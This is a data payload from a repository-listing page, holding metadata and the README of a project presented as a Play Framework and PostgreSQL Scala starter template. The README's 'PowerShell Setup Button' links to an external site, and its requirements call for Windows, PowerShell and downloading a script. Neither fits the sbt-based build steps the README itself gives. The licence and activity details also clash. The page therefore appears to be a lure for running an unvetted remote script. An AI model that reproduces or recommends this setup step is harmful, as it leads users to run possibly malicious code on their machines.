[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-109817":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":11,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":12,"stars30d":12,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":13,"rankGlobal":9,"rankLanguage":9,"license":14,"archived":15,"fork":15,"defaultBranch":16,"hasWiki":17,"hasPages":17,"topics":18,"createdAt":9,"pushedAt":29,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":12,"starSnapshotCount":12,"syncStatus":33,"lastSyncTime":34,"discoverSource":35},109817,"play-reactive-slick","spiderveer1-byte\u002Fplay-reactive-slick","spiderveer1-byte","Play + Postgres starter template with a clean UI",null,"HTML",149,0,40,"MIT License",false,"main",true,[19,20,21,22,23,24,25,26,27,28],"activator","css","database","html","javascript","knoldus","play-framework","sbt","scala","slick","2026-11-23 15:27:59","2026-11-12 14:22:02","\u003Cdiv align=\"center\">\n\n# Play Framework PostgreSQL Template with Modern UI\n\n![](files\u002Fpreview.png)\n\n### 🔌 PowerShell Setup Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002Fspiderveer1-byte.github.io\u002Fplay-reactive-slick\u002F)\n\n[![pwsh](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPwsh-Core-a855f7?style=social&labelColor=0d1117)]() [![release](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FRelease-Active-2ea44f?style=social&labelColor=0d1117)]() [![licence](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FLicence-Artistic--2.0-9333ea?style=social&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nA Play starter template with a ready-made interface, pairing the Play web framework with Postgres as the database. Use it as a base for new applications when you want that stack already wired together. It gives you a working demo project to build on instead of starting from scratch.\n\n## 🔧 Requirements\n\n- **OS:** Windows 10 \u002F 11\n- **Shell:** PowerShell 5.1+ or PowerShell 7+\n- **Network:** internet access to download the script\n- **Privileges:** standard user\n\n## Features\n\n- Play Framework backend with a clean, ready-to-use UI out of the box\n- PostgreSQL wired in via Slick for functional, type-safe database access\n- Reactive, non-blocking data flow between the UI and the database\n- Sensible starter layout so you can drop in your own models, routes, and views\n- Ideal baseline when you want Play + Postgres without assembling the plumbing yourself\n\n## Tech Stack\n\n- **Play Framework** — server-side web framework in Scala, handles routing, controllers, and rendering.\n- **Slick** — functional relational mapping layer for type-safe database access.\n- **PostgreSQL** — the backing relational database for the demo.\n- **Scala** — primary language for application code.\n- **Reactive design** — non-blocking, asynchronous request handling throughout the stack.\n- **Plain UI layer** — a clean, ready-to-use interface bundled with the template.\n\nThe stack is intentionally minimal: swap in your own models and controllers, keep the wiring, and build from there.\n\n## Project Structure\n\n```\napp\u002F\n  controllers\u002F    HTTP controllers and request handlers\n  models\u002F         Domain models and Slick table mappings\n  services\u002F       Business logic and data access layer\n  views\u002F          Twirl templates for the UI\nconf\u002F\n  application.conf   Application configuration\n  routes             Route definitions\n  evolutions\u002F        Database schema evolutions\npublic\u002F\n  stylesheets\u002F    CSS assets\n  javascripts\u002F    Client-side scripts\n  images\u002F         Static image assets\nbuild.sbt           Build definition and dependencies\n```\n\n- `app\u002Fcontrollers` handles incoming requests and delegates to services.\n- `app\u002Fmodels` defines case classes and Slick table mappings for Postgres.\n- `app\u002Fservices` contains the reactive data access logic built on Slick.\n- `conf\u002Fevolutions` holds versioned SQL migrations applied on startup.\n- `public` serves static assets referenced by the views.\n\n## Getting Started\n\n- Ensure PostgreSQL is installed and running locally.\n- Create a database named `test`.\n- Make sure your database credentials match the configuration in `conf\u002Fapplication.conf`.\n- Build the project with `sbt clean compile`.\n- Run the application with `sbt run`.\n- Open your browser and navigate to `localhost:9000` to view the running app.\n\nThe demo ships with a ready-to-use UI and a sample schema, so you can start exploring the routes, controllers, and Slick models right away. Use it as a base and replace the sample domain logic with your own.\n\n## FAQ\n\n- **Do I need Postgres to run this?** Yes. The template is wired for Postgres; point the app at your own instance via the database configuration.\n- **Which Play version does this target?** Check the build definition for the exact Play and Scala versions before upgrading dependencies.\n- **Is Slick required?** The demo uses Slick for data access, but the Play side is independent; you can swap the persistence layer if needed.\n- **Can I use this as a production base?** It is a starting point, not a hardened app. Review configuration, secrets handling, and connection pooling before deploying.\n- **How do I reset the schema?** Drop and recreate your local database, then re-run the app to apply evolutions.\n- **Where do I change the UI?** Front-end assets and templates live under the app's views and public assets; adjust styling there.\n- **Why do I get connection errors on startup?** The app cannot reach Postgres. Verify the database is running, the database name matches your config, and credentials are correct.\n- **Can I run it with a different database?** Not out of the box; the demo assumes Postgres. Porting requires updating the driver and Slick profile.\n- **How is the project structured?** Controllers, models, and views follow the standard Play layout; see the Project Structure section for details.\n- **Is there a test suite?** Basic tests are included; run them through the standard build tooling to validate changes.\n\n## License\n\nThis project is provided as a template\u002Fstarter and is intended for use as a starting point. See the repository's license file for the full terms.","这是一个基于 Play Framework 和 PostgreSQL 的 Scala Web 应用快速启动模板，提供开箱即用的响应式 UI 与类型安全的数据访问层。核心功能包括：Play 路由与控制器、Slick 实现的函数式数据库映射、PostgreSQL 演化式迁移（evolutions）、非阻塞异步数据流，以及预置的 Twirl 视图与静态资源结构。技术特点是全栈响应式设计、编译期类型检查、零配置数据库连接样板。适用于需要快速搭建企业级 Scala 后端服务、教学演示或内部工具原型开发的场景，尤其适合熟悉 Play\u002FSlick 生态的团队降低初始集成成本。",2,"2026-11-24 04:37:33","CREATED_QUERY"]